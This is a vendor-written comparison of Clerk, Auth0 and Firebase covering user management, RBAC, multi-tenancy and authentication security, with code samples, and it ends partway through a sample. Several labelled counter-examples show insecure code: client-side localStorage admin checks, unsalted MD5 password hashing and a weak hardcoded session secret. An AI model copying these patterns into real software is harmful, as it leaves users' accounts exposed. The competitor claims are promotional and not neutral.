Consider a typical B2B SaaS application: Users belong to multiple organizations. Each organization has distinct roles—admin, billing manager, member—with granular permissions controlling access to features like invoice management or API keys. Organizations may have verified domains for automatic user enrollment. Enterprise customers expect [SAML](/glossary#security-assertion-markup-language-saml) [SSO](/glossary#single-sign-on-sso). The application must support team hierarchies, user provisioning via SCIM, and [audit logs](/glossary#audit-logs) for compliance. This complexity cannot be retrofitted; it must be architectural from day one.

### The hidden costs of building user management in-house

Many development teams underestimate the scope of user management, viewing it as a straightforward engineering task. The reality is starkly different. One study found that **engineering projects go 27% over time and budget on average**, with 1 in 6 companies overshooting estimates by 200% or more ([Stytch Build vs Buy Analysis](https://stytch.com/blog/build-vs-buy/)). Authentication and authorization consistently fall into this category of underestimated complexity.

Building authentication from scratch typically requires **40-120 hours of developer time** for a complete implementation. The average authentication implementation introduces **12-15 integration bugs** requiring additional development cycles. Industry analysis recommends that **fewer than 5% of engineering teams should build authentication from scratch**, given the complexity, security requirements, and ongoing maintenance burden ([FusionAuth Build vs Buy](https://fusionauth.io/buildvsbuy)).

The technical challenges are substantial. Proper password storage requires cryptographic expertise—OWASP mandates Argon2, bcrypt, or PBKDF2 with appropriate salt lengths ([OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)). Session management needs careful implementation of secure cookies, CSRF protection, and timeout policies. NIST Digital Identity Guidelines specify three authenticator assurance levels with increasingly stringent requirements ([NIST SP 800-63-3](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-63-3.pdf)). Multi-factor authentication stops **over 99.9% of automated account compromise attacks** according to Microsoft research, making it essential rather than optional ([Microsoft Security Blog](https://www.microsoft.com/en-us/security/blog/2019/08/20/one-simple-action-you-can-take-to-prevent-99-9-percent-of-account-attacks/)).

Beyond security, the maintenance burden is crushing. Security vulnerabilities require immediate patches. New authentication methods emerge—[passkeys](/glossary#passkeys), biometrics, WebAuthn—each requiring integration. Compliance frameworks evolve. Support tickets about password resets and login issues consume engineering time. One developer who migrated to Clerk from a custom solution described it bluntly: "After spending many hours on auth issues that seemed simple (but were not), we moved to Clerk and all that burden was lifted" ([Clerk Customer Testimonials](/customers)).

## Core user management capabilities: beyond the login form

User management begins with comprehensive user profiles, but the implementation varies dramatically across platforms.

### User profiles and metadata management

**Clerk** provides a three-tier metadata system designed for flexibility ([Clerk User Management](/docs/guides/users/managing)). The User object includes authentication identifiers (email, phone, username), external accounts from social providers, and three distinct metadata types. Public metadata is accessible from both frontend and backend, ideal for display information. Private metadata exists only on the backend, perfect for storing sensitive attributes like internal IDs or subscription status. Unsafe metadata allows client-side writes but should be used sparingly. This architecture enables developers to extend user profiles without database schema changes, storing arbitrary JSON data alongside each user.

**Auth0** implements a similar three-tier system but with critical limitations. User metadata can be edited by users if you build forms using the Management API, making it unsuitable for access control. App metadata is server-controlled and used for permissions and roles, but it impacts token size since it's often included in JWT claims. The Management API provides comprehensive CRUD operations, but adding metadata to tokens requires configuring Actions—Node.js functions that execute during authentication flows ([Auth0 Metadata Documentation](https://auth0.com/docs/manage-users/user-accounts/metadata)). A common developer complaint: the auth0-react SDK's `useUser()` hook doesn't include metadata by default, requiring additional API calls ([GitHub Issue #110](https://github.com/auth0/auth0-react/issues/110)).

**Firebase Authentication** takes a minimalist approach that often surprises developers. The User object includes just five fields: UID, email, display name, photo URL, and email verification status. As Firebase documentation states: "You cannot add other properties to the user object directly" ([Firebase Auth Documentation](https://firebase.google.com/docs/auth/admin/manage-users)). Extended profiles must be stored in Firestore using the UID as the document ID. While this separation of concerns is architecturally sound, it creates synchronization challenges and requires careful security rules to prevent unauthorized access.

### User search and bulk operations

Production user management requires administrative capabilities that many authentication services treat as afterthoughts.

Clerk provides comprehensive dashboard management with user search, filtering, bulk operations via the Backend API, and **full data export without requiring paid plans or vendor assistance**—a significant advantage for data portability and migration flexibility. The Admin SDK offers methods like `clerkClient.users.createUser()`, `deleteUser()`, and `getUser()` with full CRUD operations ([Clerk Admin SDK](/docs/references/backend/overview)). This operational ease matters when you need to debug a support ticket or bulk-import users from a legacy system.

Auth0's Management API is powerful but complex. User search uses Lucene query syntax, which has a learning curve. Bulk operations exist but hit rate limits that vary by tier—free plans get minimal allowances while enterprise customers negotiate higher limits. The admin dashboard is feature-rich but can feel overwhelming with hundreds of configuration options ([Auth0 Management API](https://auth0.com/docs/api/management/v2)). Critically, **Auth0 requires a paid plan and contacting support to obtain user data exports**, creating friction for data portability. One [Reddit discussion](https://www.reddit.com/r/webdev/comments/pzkqxo/auth0_alternatives/) captured the sentiment: "Auth0's dashboard makes you feel like you need a PhD to change basic settings."

Firebase relies primarily on the Admin SDK for user management since the console provides only basic viewing and deletion. Listing all users requires pagination through batches. There's no built-in user search—you must export to external systems or build custom indexing. For applications with tens of thousands of users, this limitation becomes operationally painful.

## RBAC and permissions: the foundation of secure access control

[Role-Based Access Control (RBAC)](/glossary#role-based-access-control-rbac) is where user management platforms reveal their architectural philosophy. Done well, RBAC enables secure, scalable applications. Done poorly, it creates technical debt that compounds over time.

### Clerk's dual approach to authorization

Clerk provides **two distinct RBAC implementations** optimized for different use cases, demonstrating product sophistication often lacking in competitors.

For B2B applications, **Organizations provide built-in RBAC** with minimal configuration. Out of the box, you get two default roles: Admin (the organization creator with full permissions) and Member (limited access). The power emerges with custom roles—create up to 10 roles per application like "billing\_manager", "engineer", or "support\_agent" with format `org:role_name` ([Clerk Roles and Permissions](/docs/organizations/roles-permissions); [RBAC Blog Post](/blog/role-based-access-control-with-clerk-orgs)).

Clerk distinguishes between system permissions (which power the frontend API and components) and custom permissions (included in session token claims for server-side checks). System permissions include `org:sys_profile:manage`, `org:sys_memberships:manage`, `org:sys_domains:read`, providing granular control over organizational resources. Custom permissions follow the pattern `org:feature:action`—for example, `org:invoices:create` or `org:reports:delete`. These permissions automatically attach to session tokens with 60-second expiration, eliminating additional network requests while maintaining security.

For applications needing custom roles/rolesets, verified domains, or linking enterprise SSO to organizations in production, Clerk offers the Enhanced B2B Authentication add-on ($100/month, or $85/month billed annually). Custom permissions and basic RBAC (Admin/Member roles) are included in all plans. Enterprise SSO connections (SAML/OIDC) are available on Pro plans and above, with 1 connection included and additional connections from $75/month each ([Clerk RBAC Documentation](/docs/organizations/roles-permissions)).

For B2C applications without organizations, Clerk offers **metadata-based RBAC**. Store roles in `publicMetadata`, create helper functions to check roles, and use `proxy.ts` (Next.js 16) for route protection:

```typescript
// Store role in user metadata
// { "role": "admin" }

// Helper function for role checking
import { auth } from '@clerk/nextjs/server'

export const checkRole = async (role: string) => {
  const { sessionClaims } = await auth()
  return sessionClaims?.metadata.role === role
}

// Protect routes in proxy.ts (Next.js 16)
import { clerkMiddleware, createRouteMatcher } from '@clerk/nextjs/server'

const isAdminRoute = createRouteMatcher(['/admin(.*)'])

export default clerkMiddleware(async (auth, req) => {
  if (isAdminRoute(req)) {
    await auth.protect(async () => await checkRole('admin'))
  }
})
```

This code demonstrates Clerk's developer experience advantage: **30-40 lines for functional RBAC** versus 60-80+ lines for comparable Auth0 or NextAuth implementations.

### Auth0's configuration-heavy authorization

Auth0 provides powerful RBAC through **Authorization Core** (recommended) or the legacy Authorization Extension. The architecture is fundamentally different: define permissions at the API level (like `read:posts`, `delete:collection`), create roles and assign permissions, then assign roles to users or organization members ([Auth0 RBAC Documentation](https://auth0.com/docs/manage-users/access-control/rbac)).

When RBAC is enabled, permissions automatically flow into access tokens as a `permissions` claim:

```json
{
  "permissions": ["create:collection", "delete:collection", "view:collection"]
}
```

Auth0's strength lies in flexibility—you can implement complex authorization logic using Actions. The weakness is configuration complexity. Every permission must be explicitly defined and assigned. For dynamic authorization scenarios (like "user can edit resources they created"), Auth0 alone is insufficient. You need external services like Cerbos or Permit.io for attribute-based access control (ABAC).

A critical limitation surfaces in the community: "RBAC alone is insufficient for complex dynamic authorization... 'role explosion' problem for fine-grained access control" ([Community discussions on Auth0 RBAC limitations](https://community.auth0.com/)). Organizations with hundreds of permission combinations find Auth0's role-based approach inadequate without significant custom development.

### Firebase's custom claims limitations

Firebase takes a minimalist approach with **custom claims**—[JWT](/glossary#json-web-token) token attributes limited to 1000 bytes. Set server-side via Admin SDK, these claims propagate through Firebase services and Security Rules:

```javascript
// Setting custom claims (Admin SDK)
const admin = require('firebase-admin')

admin.auth().setCustomUserClaims(uid, {
  admin: true,
  roles: ['admin', 'editor'],
  organizationId: 'org_123',
})
```

```
// Security Rules integration
service cloud.firestore {
  match /databases/{database}/documents {
    match /adminContent/{document} {
      allow read, write: if request.auth.token.admin == true;
    }
  }
}
```

The **1000-byte limit severely restricts complex role structures**, forcing architectural compromises. One Stack Overflow answer captured the frustration: "Firebase Auth is for authentication, not for user record management" ([Firebase Custom Claims Documentation](https://firebase.google.com/docs/auth/admin/custom-claims)). For applications requiring sophisticated permissions, developers must maintain parallel systems—custom claims for authentication, Firestore for detailed authorization data.

### Vulnerable versus secure authorization patterns

Understanding common vulnerabilities helps evaluate platform security defaults.

**Vulnerable client-side authorization:**

```javascript
// NEVER DO THIS - Client-side only
if (localStorage.getItem('isAdmin') === 'true') {
  showAdminPanel()
}
```

**Secure server-side authorization:**

```tsx
// Clerk approach - Server-side validation
import { auth } from '@clerk/nextjs/server'

export default async function AdminPanel() {
  const { sessionClaims } = await auth()

  if (sessionClaims?.metadata?.role !== 'admin') {
    return <div>Access denied</div>
  }

  return <AdminDashboard />
}
```

This pattern appears simple but embodies critical security principles: server-side validation, JWT claim verification, and explicit access denial. OWASP emphasizes that authorization checks must occur on every request using centralized mechanisms—frameworks like Spring Security or Django Middleware for Java and Python respectively ([OWASP Authorization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html)).

Clerk's `auth.protect()` helper and middleware integration make secure patterns the default path. Auth0 requires more explicit configuration but provides powerful customization. Firebase demands the most manual implementation, increasing the risk of security gaps.

## Organizations and team management for B2B applications

Multi-tenant B2B SaaS applications require sophisticated team management that goes far beyond simple user roles. The platform's native support for organizations often determines whether you can ship features in days versus months.

### Clerk's Organizations: multi-tenancy out of the box

Clerk's Organizations feature delivers what B2B developers need without requiring custom implementation ([Clerk Organizations Overview](/docs/organizations/overview)). Users can belong to **unlimited organizations** with different roles in each. The active organization context determines which data users access and what permissions they possess.

The implementation is remarkably straightforward:

```jsx
// Add organization switcher to navbar
import { OrganizationSwitcher } from '@clerk/nextjs'

export default function Navbar() {
  return (
    <nav>
      <OrganizationSwitcher />
    </nav>
  )
}
```

You can then access the active organization context to filter data per tenant:

```tsx
// Access active organization in components
import { useOrganization } from '@clerk/nextjs'

export default function TaskList() {
  const { organization } = useOrganization()

  // Fetch tasks filtered by organization
  // This would typically be done in a server component or API route
  // shown here for demonstration purposes
  const tasks = fetchTasksForOrganization(organization?.id)

  return <div>{/* Render tasks */}</div>
}
```

Pre-built components handle the complete user experience: creating organizations, switching between them, managing members, configuring roles, and handling invitations. The `<OrganizationProfile />` component provides a full admin interface comparable to building a custom administration panel—work that would typically require **weeks of development time**.

Clerk supports **verified domains** for streamlined enrollment ([Clerk Verified Domains](/docs/organizations/verified-domains)). Add a domain like `@acme.com` to your organization, and users with that email domain can automatically join or receive suggestions to join. This feature is essential for enterprise customers who expect employees to be automatically provisioned.

Clerk includes base B2B Authentication on paid plans with up to **50 MROs in development and 100 MROs in production** and up to **20 members per organization**; the **Enhanced B2B Authentication add-on** ($100/month, or $85/month billed annually) removes the member limit, includes 100 MROs, and enables MRO overages at $1/MRO ([Clerk Pricing](/pricing)), making Clerk viable from startup to enterprise scale. The free (Hobby) plan does not include organizations--B2B features require a paid plan. This pricing model is reasonable for B2B applications where organizations represent paying customers.

One architectural limitation: Clerk currently provides a **flat organization structure** without nested teams or sub-organizations. For applications requiring complex hierarchies (like departments within organizations), you'll need to implement additional logic. However, custom roles can represent departmental distinctions effectively for most use cases.

### Auth0's Organizations for enterprise scale

Auth0 Organizations targets larger enterprises with more complex requirements. The feature supports per-organization branding, authentication methods, and SSO connections—critical when each customer demands their own [identity provider](/glossary#identity-provider-sso-idp-sso) integration ([Auth0 Organizations Documentation](https://auth0.com/docs/get-started/architecture-scenarios/multiple-organization-architecture)).

Auth0 Organizations shine for **subdomain-based multi-tenancy**: each organization accessed via `{organization}.app.com`. This pattern provides stronger isolation than path-based routing and aligns with enterprise expectations. Per-organization SAML and [OIDC](/glossary#openid-connect) connections enable self-service SSO configuration, though connection limits on lower tiers become a critical constraint.

#### Auth0's enterprise strengths

Auth0 excels in scenarios requiring comprehensive compliance and protocol support. The platform provides SOC 2 Type II (all 5 Trust Services Criteria), ISO 27001/27017/27018, HIPAA Business Associate Agreements, PCI DSS compliance, and CSA STAR Level 2 Gold certification ([Auth0 Compliance](https://auth0.com/docs/secure/data-privacy-and-compliance)). For healthcare, financial services, or highly regulated industries, Auth0's certifications may be decisive despite higher costs.

Technical capabilities include support for SAML 2.0, OIDC, [OAuth](/glossary#oauth) 2.0, WS-Federation, [LDAP](/glossary#ldap), RADIUS, and Kerberos for legacy systems. This comprehensive protocol support makes Auth0 ideal for hybrid IT environments mixing modern and legacy authentication systems. Customer success stories demonstrate real impact: Philips Hue achieved **80% reduction in IAM development and maintenance** costs, while Snyk reports **nearly 100% conversion rate** for new sign-ups.

**Auth0 is optimal when:**

- Requiring multiple enterprise compliance certifications (SOC 2, ISO, HIPAA, PCI DSS)
- Building multi-application ecosystems needing unified identity
- Serving large enterprises expecting Auth0 specifically
- Operating hybrid IT environments with legacy protocol requirements
- Having enterprise budget for authentication ($30k+/year)

The challenge with Auth0 Organizations is **pricing and connection limits that create a "growth penalty"**. The B2B Essentials tier ($150/month for 500 MAUs) includes only **3 SSO connections**. B2B Professional ($800/month for 1,000 MAUs) provides only **5 connections**. For B2B SaaS companies expecting dozens of enterprise customers, these limits force expensive enterprise upgrades. Acquiring your 6th enterprise customer requiring SSO on Essentials forces an immediate plan upgrade regardless of total MAU count ([SSOJet Growth Penalty Analysis](https://ssojet.com/blog/auth0-pricing-growth-penalty)).

Real-world cost escalation demonstrates this impact: one company experienced a **15.54x bill increase** (from $240/month to $3,729/month) after only **1.67x growth in users** due to Auth0's tier-based pricing structure. The pattern is well-documented in developer communities, with 34% of developers migrating away from Auth0 citing pricing as the primary driver ([Security Boulevard Analysis](https://securityboulevard.com/2025/09/top-10-auth0-complaints-developers-post-on-reddit-analysed/)).

Implementation complexity is higher than Clerk. While SDKs exist, developers must manually configure organization context, handle authentication flows, and build UI for organization management. Auth0 provides the infrastructure but expects more application-level implementation.

### Firebase's non-existent organization support

Base Firebase Authentication has **no native organization concept**. Developers must implement multi-tenancy entirely in the application layer using custom claims and Firestore:

Custom organization implementation pattern

1. Store organization in custom claims

```js
const claims = {
  organizationId: 'org_123',
  role: 'admin',
}
```

2. Firestore structure

```
 /organizations/{orgId}
   /members/{userId}
   /settings
   /data/{documents}
```

3. Security Rules for isolation

```
rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    match /organizations/{orgId}/{document=**} {
      allow read, write: if request.auth.token.organizationId == orgId;
    }
  }
}
```

This manual approach requires significant development effort and ongoing maintenance. Every feature—member management, role assignment, invitations, organization switching—must be custom built.

**Identity Platform** (Firebase's enterprise upgrade) adds multi-tenancy with separate user pools per tenant. However, this isolated approach differs from the shared-user model most B2B SaaS applications need, where users belong to multiple organizations simultaneously ([Firebase Identity Platform Multi-tenancy](https://cloud.google.com/identity-platform/docs/multi-tenancy-authentication)). For typical B2B use cases, Identity Platform's multi-tenancy isn't the solution—you still implement organizations manually.

#### Firebase's mobile-first strengths

Despite limitations for complex B2B web applications, Firebase excels in specific scenarios. For **mobile-first applications**, Firebase provides React Native Firebase with full native SDK integration, built-in offline support, and Cloud Messaging achieving **93.4% open rates** in production deployments like AliExpress. The **free tier (50K MAU for Tier 1 authentication providers, 1GB storage, 10GB hosting)** makes Firebase economically attractive for consumer applications with large free user bases.

**Real-time synchronization** is Firebase's core strength. Real-time Database and Cloud Firestore provide instant sync across clients, perfect for chat applications, collaborative tools, multiplayer games, and live dashboards. Combined with offline mode and automatic sync on reconnection, Firebase enables experiences difficult to achieve with traditional REST APIs.

**Firebase is optimal when:**

- Building native mobile applications (Android/iOS/React Native)
- Requiring real-time data synchronization across clients
- Prototyping MVPs with limited backend resources
- Operating within the Google Cloud Platform ecosystem
- Having simple authentication needs without complex user management
- Scaling consumer applications with free/freemium models

Customer success stories validate these strengths: Hotstar scaled to support millions of concurrent users with Firebase, achieving **38% engagement increase**. Gameloft lowered crash rates and achieved **16% longer player sessions**. Todoist manages **150M+ projects** with Firebase sync.

**Firebase is NOT optimal for:**

- Complex B2B SaaS requiring native organizations and RBAC
- Applications needing comprehensive user profile management
- Teams expecting mature React/Next.js integration comparable to specialized platforms
- Enterprise features like SAML SSO or [directory sync](/glossary#directory-sync) (requires Identity Platform upgrade)

### Decision framework for team management requirements

Choosing a platform based on team management needs:

**Choose Clerk** if you need multi-tenant B2B SaaS with:

- Shared user pool (users in multiple organizations)
- Pre-built UI for organization management
- Rapid implementation (hours, not weeks)
- Growth from startup to mid-market scale
- Free data exports for migration flexibility

**Choose Auth0** if you need:

- Per-organization SSO and branding
- Support for 10+ enterprise customers from day one
- Subdomain-based isolation
- Budget for enterprise pricing
- Full suite of compliance certifications (SOC 2, ISO, HIPAA, PCI DSS)

**Choose Firebase** only if:

- You're building simple B2C applications
- You have strong backend development expertise
- You're committed to building and maintaining custom multi-tenancy
- You're already deeply invested in the Firebase ecosystem
- You need real-time synchronization as a core feature

## Multi-tenancy architecture and data isolation

[Multi-tenancy](/glossary#multi-tenancy) enables a single application instance to serve multiple customer organizations—essential for SaaS economics. The implementation significantly impacts security, performance, and development complexity.

### Shared database multi-tenancy patterns

Clerk and Auth0 both support the **shared database model**: all organizations share the same database and tables, with each record tagged with an organization identifier. This approach offers the best balance of cost efficiency and management simplicity. As Clerk's multi-tenancy guide explains: "Many developers think they can start building their B2B SaaS with a B2C architecture and 'add multi-tenancy later,' but this approach creates fundamental data model problems that are exponentially harder to fix as you scale" ([Clerk Multi-tenancy Guide](/blog/what-is-multi-tenancy-and-why-it-matters-for-B2B-SaaS)).

Implementation follows a consistent pattern:

```typescript
// Server-side data access with automatic isolation
import { auth } from '@clerk/nextjs/server'

export async function GET(request: Request) {
  const { orgId } = await auth()

  if (!orgId) {
    return new Response('Unauthorized', { status: 401 })
  }

  // Organization ID from JWT automatically filters data
  const tasks = await db.task.findMany({
    where: { organizationId: orgId },
  })

  return Response.json(tasks)
}
```

The organization ID lives in the JWT token claims, eliminating separate database lookups for authorization. With **60-second token expiration** (Clerk's security-focused approach), this architecture maintains security while optimizing performance.

### Row-Level Security with Supabase

Combining Clerk with Supabase demonstrates how modern platforms integrate for database-level isolation. Supabase's Row-Level Security (RLS) policies enforce tenant isolation automatically:

```sql
-- Supabase RLS policy using Clerk JWT
create policy "Users can only access their org's data"
  on tasks
  for all
  using (organization_id = auth.jwt() ->> 'org_id');
```

This pattern achieves **multi-tenancy in minutes** rather than weeks of custom implementation ([Clerk + Supabase Multi-tenancy](/blog/multitenancy-clerk-supabase-b2b); [Multi-Tenant Architecture Guide](/blog/how-to-design-multitenant-saas-architecture)). The database enforces isolation, preventing even application bugs from causing cross-tenant data leaks.

### Identity Platform's isolated tenant approach

Firebase Identity Platform takes a fundamentally different approach: **separate user pools per tenant**. Each tenant has independent authentication configurations, identity providers, and security settings. While this provides strong isolation, it creates operational challenges for typical B2B SaaS applications where users need to belong to multiple organizations simultaneously ([Identity Platform Multi-tenancy](https://cloud.google.com/identity-platform/docs/multi-tenancy-authentication)).

The pricing model also differs—**each active user across all tenants counts toward MAU billing**. For applications with users in multiple tenants, costs accumulate faster than expected.

## Developer experience: time to production matters

Developer velocity directly impacts product success. The 2024 State of Developer Productivity survey found that **58% of engineering leaders report more than 5 hours per developer per week lost to unproductive work**, with 54% falling in the 5-15 hour per week range, primarily from finding context and dealing with poorly integrated tools ([Cortex Survey, 2024](https://www.cortex.io/report/the-2024-state-of-developer-productivity)). Authentication platforms that "just work" reclaim this lost time.

Traditional authentication integration typically requires **40-120 hours of developer time**, with **73% of development teams** reporting authentication integration as their biggest project bottleneck. Furthermore, **67% admit to shipping with inadequate security** due to time constraints, and the average authentication implementation introduces **12-15 integration bugs** that require additional development cycles ([MojoAuth Developer Study](https://aithority.com/machine-learning/mojoauth-revolutionizes-developer-productivity-with-industrys-first-llm-implementation-guide/)).

### Implementation time comparison: basic to production-ready

Real-world implementation timelines based on community reports and developer testimonials:

**Clerk implementation: 5-15 minutes**

```bash
# Complete Next.js App Router setup
# 1. Install (30 seconds)
npm install @clerk/nextjs
```

Add your Clerk API keys to your environment configuration:

```bash
# 2. Environment variables (1 minute)
NEXT_PUBLIC_CLERK_PUBLISHABLE_KEY=pk_test_xxx
CLERK_SECRET_KEY=sk_test_xxx
```

```tsx
// 3. Wrap app with provider (app/layout.tsx) - 2 minutes
import { ClerkProvider } from '@clerk/nextjs'

export default function RootLayout({ children }: { children: React.ReactNode }) {
  return (
    <html lang="en">
      <body>
        <ClerkProvider>{children}</ClerkProvider>
      </body>
    </html>
  )
}
```

Then add authentication UI components to your page:

```tsx
// 4. Add authentication UI (app/page.tsx) - 2 minutes
import { SignIn, Show, UserButton } from '@clerk/nextjs'

export default function Home() {
  return (
    <>
      <Show when="signed-out">
        <SignIn />
      </Show>
      <Show when="signed-in">
        <UserButton />
      </Show>
    </>
  )
}
```

**That's it.** Approximately **20 lines of code and 5-15 minutes** for production-grade authentication with pre-built UI, session management, and security best practices. Customer testimonials consistently emphasize this simplicity: "Clerk let us spin up a new product in hours instead of weeks" ([Clerk Testimonials](/customers)).

**Auth0 implementation: POC in hours, production in weeks**

Auth0 requires more configuration even for basic setup. You need to generate a secure secret key, configure callback URLs, create API route handlers, and manually implement or import UI components. Auth0 enables POC development in a couple of hours, with full production deployment including SSO typically completed within three weeks ([Auth0 ROI Blog](https://auth0.com/blog/the-real-roi-of-auth0-part-1-time-to-market/)). Auth0's complexity is the cost of flexibility—the platform supports countless scenarios, but simple use cases require wading through enterprise features ([Auth0 Next.js Quickstart](https://auth0.com/docs/quickstart/webapp/nextjs/01-login)).

**Firebase implementation: quick integration with minimal code**

Firebase wins for initial client-side setup speed—initialize the SDK, call authentication methods, done. However, this "client-side magic" becomes problematic for server-side rendering in Next.js. Proper SSR implementation requires session cookies, server-side token verification, and manual session management, adding significant complexity to achieve production readiness. ReactFire is in maintenance mode with infrequent updates; Firebase's recommended approach is using the Firebase JavaScript SDK directly, which is actively maintained and works with React, Next.js, and Create React App without requiring additional libraries ([Firebase Auth Documentation](https://firebase.google.com/docs/auth/web/start)).

### Advanced features: RBAC and organizations

Implementation complexity escalates for RBAC and organizations:

**Clerk RBAC: 30 minutes to 2 hours** including configuration, middleware setup, and component integration\
**Auth0 RBAC: One to two days** for Actions configuration and custom UI development\
**Firebase RBAC: Three to five days** for complete custom implementation

**Clerk Organizations: Half a day to one day** using pre-built components\
**Auth0 Organizations: Three to seven days** with extensive configuration\
**Firebase Organizations: One to two weeks** for custom multi-tenancy implementation

One case study demonstrates these timelines empirically. Turso, a database company, evaluated NextAuth, Clerk, Auth0, Kinde, and Hanko before choosing Clerk specifically for **development speed**. They implemented authentication, extended it with passkeys and SSO, and customized JWT templates for CLI tokens—all within their initial development sprint ([Turso's Migration to Clerk](https://turso.tech/blog/why-we-transitioned-to-clerk-for-authentication)).

### Code complexity: component counts tell the story

Comparing the same functionality—user profile display with role-based rendering—reveals architectural differences:

**Clerk approach: 15 lines**

```tsx
import { UserButton } from '@clerk/nextjs'
import { checkRole } from '@/utils/roles'

export default async function ProfilePage() {
  const isAdmin = await checkRole('admin')

  return (
    <div>
      <UserButton />
      {isAdmin && <AdminPanel />}
    </div>
  )
}
```

**Auth0 approach: 45+ lines**

```tsx
'use client'
import { useUser } from '@auth0/nextjs-auth0/client'
import Link from 'next/link'

export default function ProfilePage() {
  const { user, isLoading } = useUser()

  if (isLoading) return <div>Loading...</div>
  if (!user) return <div>Not authenticated</div>

  const isAdmin = user['https://myapp.com/roles']?.includes('admin')

  return (
    <div>
      <img src={user.picture} alt={user.name} />
      <h2>{user.name}</h2>
      <p>{user.email}</p>
      <Link href="/api/auth/logout">Logout</Link>
      {isAdmin && <AdminPanel />}
    </div>
  )
}
```

The difference compounds across an application. Pre-built components, automatic session management, and zero-configuration defaults accumulate into **months of development time saved** over a project lifecycle. As one developer observed: "The best practices built-in to their `<SignIn/>` and `<UserProfile/>` components would take months to implement in-house" ([Clerk Community Feedback](/customers)).

### Framework-specific optimizations matter

Clerk provides **dedicated SDKs for 15+ frameworks** ([Clerk Quickstarts](/docs/quickstarts/overview); [JavaScript Monorepo](https://github.com/clerk/javascript)), each optimized for the framework's patterns. The `@clerk/nextjs` package understands Next.js `proxy.ts` (which replaces `middleware.ts` in Next.js 16), App Router server components, and Pages Router conventions. The `@clerk/remix` package integrates with Remix loaders and actions. Example repositories demonstrate best practices: [Next.js App Quickstart](https://github.com/clerk/clerk-nextjs-app-quickstart), [Organizations Demo](https://github.com/clerk/organizations-demo), and [Supabase Integration](https://github.com/clerk/clerk-supabase-nextjs). This framework-first approach contrasts with Auth0's more generic SDK that requires additional configuration to work idiomatically with each framework.

For React and Next.js developers—the vast majority of modern web development—this specialization delivers superior developer experience. One comprehensive platform comparison concluded: "Clerk is the clear favorite for React/Next.js developers... purpose-built for 'The Modern Web'" ([Comprehensive Auth Platform Comparison](https://blog.hyperknot.com/p/comparing-auth-providers)).

## Platform comparison: quantitative analysis

| Feature                        | Clerk                                                      | Auth0                                        | Firebase Auth                         |
| ------------------------------ | ---------------------------------------------------------- | -------------------------------------------- | ------------------------------------- |
| **Implementation time**        | 5-15 minutes                                               | POC in hours, production in weeks            | Quick integration (client-side)       |
| **Lines of code (basic auth)** | 15-20                                                      | 40-60                                        | 30-40 (with SSR)                      |
| **Pre-built components**       | Extensive (SignIn, Show, UserButton, OrganizationSwitcher) | Limited (Universal Login only)               | None (requires custom implementation) |
| **User profile extensibility** | Three-tier metadata (public, private, unsafe)              | Three-tier metadata (user, app, client)      | None (requires Firestore)             |
| **RBAC complexity**            | Low (Organizations) / Medium (metadata)                    | High (requires Actions)                      | High (custom claims + Firestore)      |
| **Organizations feature**      | Native, unlimited orgs                                     | Native, connection limits                    | Custom implementation required        |
| **Multi-tenancy support**      | Shared database with org context                           | Shared + subdomain isolation                 | Identity Platform (isolated tenants)  |
| **Session token expiration**   | 60 seconds (security-focused)                              | Configurable (typically 10 hours)            | 1 hour (ID tokens)                    |
| **Framework-specific SDKs**    | 15+ frameworks                                             | Generic SDKs                                 | Firebase SDK (generic)                |
| **Data export**                | Free from dashboard, no support needed                     | Requires paid plan + support contact         | Manual export required                |
| **Migration from custom**      | Low (free exports, open-source tools)                      | Hard (export barriers, vendor lock-in)       | Medium (password hashing)             |
| **Documentation quality**      | Excellent (★★★★★)                                          | Very good (★★★★☆)                            | Fair (★★★☆☆)                          |
| **Free tier**                  | 50,000 MRU                                                 | 25,000 MAU                                   | 50,000 MAU (Tier 1 providers)         |
| **Paid tier starting price**   | $20/month annual or $25/month (50K MRU included)           | $35/month (B2C) / $150/month (B2B)           | $0.0055/MAU after 50K free (Tier 1)   |
| **SSO connections (paid)**     | 1 included on Pro; additional from $75/mo                  | 3 (B2B Essentials), 5 (B2B Pro)              | Not available (basic)                 |
| **Compliance certifications**  | SOC 2 Type II, CCPA, HIPAA (BAA available)                 | SOC 2 Type II, ISO 27001, HIPAA BAA, PCI DSS | SOC 2, ISO 27001, GDPR                |
| **Vendor lock-in risk**        | Low (free exports, documented migration)                   | High (complex migration, export barriers)    | Medium (password hashing)             |
| **Best for**                   | React/Next.js startups, B2B SaaS                           | Large enterprises, complex compliance        | Mobile apps, Google ecosystem         |

## Security and compliance: protecting user data

Security breaches carry devastating costs. The IBM Cost of a Data Breach Report 2025 found average breach costs of **$4.88 million globally**, rising to **$9.36 million in the United States** ([IBM Breach Report, 2025](https://www.ibm.com/reports/data-breach)). Organizations with extensive security AI and automation save **$1.9 million** compared to those without such capabilities, demonstrating the value of built-in security features.

### Common authentication vulnerabilities

OWASP identifies identification and authentication failures as critical security risks, with specific CWEs including improper authentication (CWE-287), [session fixation](/glossary#session-fixation) (CWE-384), and weak password requirements (CWE-521) ([OWASP Top 10 A07](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)). Custom implementations frequently fall victim to these vulnerabilities.

**Vulnerable password storage:**

```python
# NEVER DO THIS - Fundamentally insecure
import hashlib

def store_password(password):
    # MD5 or SHA1 without salt - completely broken
    hash = hashlib.md5(password.encode()).hexdigest()
    return hash
```

**Secure password storage:**

```python
from werkzeug.security import generate_password_hash, check_password_hash

def store_password(password):
    # Proper: PBKDF2-SHA256 with salt
    hashed = generate_password_hash(
        password, 
        method='pbkdf2:sha256',
        salt_length=16
    )
    return hashed

def verify_password(stored_hash, candidate_password):
    return check_password_hash(stored_hash, candidate_password)
```

NIST SP 800-63B mandates minimum password lengths of **8 characters with MFA or 15+ characters without**, maximum lengths of at least **64 characters** to support passphrases, and checking against known breached password databases ([NIST Digital Identity Guidelines](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-63-3.pdf)). Managed platforms handle these requirements automatically, while custom implementations require constant vigilance.

### Session management security

Session fixation and hijacking represent persistent threats. OWASP Session Management guidelines require **64 bits of entropy** for session IDs, regeneration after authentication, and strict cookie security attributes ([OWASP Session Management](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html)).

**Vulnerable session configuration:**

```javascript
// DANGEROUS - Multiple security flaws
app.use(
  session({
    secret: 'mysecret123', // Weak secret
